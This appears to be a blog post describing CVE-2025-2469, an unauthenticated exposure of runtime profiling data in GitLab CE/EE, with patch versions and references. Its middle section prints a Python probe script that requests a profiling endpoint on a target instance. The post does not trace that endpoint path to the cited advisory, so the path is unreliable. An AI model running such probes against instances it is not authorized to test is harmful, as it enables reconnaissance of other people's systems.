CVE-2025-2469: Unauthenticated Access to Runtime Profiling Data in GitLab CE/EE

A recently discovered security vulnerability known as CVE-2025-2469 affects GitLab Community Edition (CE) and Enterprise Edition (EE). This issue impacts all versions starting from 17.9 to before 17.9.6, as well as 17.10 before 17.10.4. The vulnerability exposes runtime profiling data of a specific service to unauthenticated users, potentially leading to data leaks and unauthorized access to sensitive information. In this post, we will delve deep into the details of this vulnerability, discuss the code snippet showing the exploit, and provide you with links to original references for further study.

The Vulnerability

CVE-2025-2469 is a security vulnerability that allows unauthenticated users to access runtime profiling data for specific GitLab services. This data can include sensitive information, such as performance metrics, request traces, and internal system details that should typically be restricted to authorized users and administrators. Unauthorized access to this data can be exploited by attackers to gather valuable intelligence about the target system, which can be used in further attacks or as leverage in social engineering campaigns.

The Exploit

The vulnerability is caused by a lack of proper access control checks in the code responsible for handling requests to the GitLab service's runtime profiling data endpoint. This means that any user, regardless of their authentication status, can make HTTP requests to this endpoint and retrieve the runtime profiling data without having to provide valid credentials.

Here is a sample code snippet illustrating the exploit

import requests

# Replace <gitlab_url> with the target GitLab instance URL
gitlab_url = '<gitlab_url>'
profiling_data_endpoint = f'{gitlab_url}/-/profile.gitlab-log'

# Send an HTTP GET request to the profiling data endpoint
response = requests.get(profiling_data_endpoint)

# Check if the request was successful
if response.status_code == 200:
    print("Access granted to runtime profiling data:")
    print(response.text)
else:
    print(f"Access denied (Status code: {response.status_code})")

This exploit code simply sends an HTTP GET request to the runtime profiling data endpoint of the target GitLab instance. If successful, it will print out the retrieved profiling data. Users are advised to replace <gitlab_url> with the URL of the actual GitLab instance they want to target.

Mitigations

GitLab has released patches that address this vulnerability for both GitLab CE/EE 17.9 and 17.10. Users are strongly encouraged to upgrade their GitLab instances to versions 17.9.6 and 17.10.4 or later to apply the necessary security fixes. Instructions for upgrading GitLab can be found in the official GitLab documentation:

- Upgrading GitLab

GitLab's official security advisory for CVE-2025-2469

- GitLab Security Advisory: Unauthenticated Access to Runtime Profiling Data

2. The National Institute of Standards and Technology (NIST) vulnerability database entry for CVE-2025-2469:

- CVE-2025-2469 Detail

Conclusion

CVE-2025-2469 is a critical security vulnerability that exposes runtime profiling data in GitLab CE and EE to unauthenticated users. To protect your GitLab instances against this vulnerability, ensure that you are running GitLab 17.9.6, 17.10.4, or a later version of the software. By staying informed about security threats like CVE-2025-2469 and diligently applying security patches, you can significantly reduce your risk of exposure to cyber attacks.

Timeline

Published on: 04/10/2025 14:15:27 UTC
Last modified on: 04/11/2025 15:39:52 UTC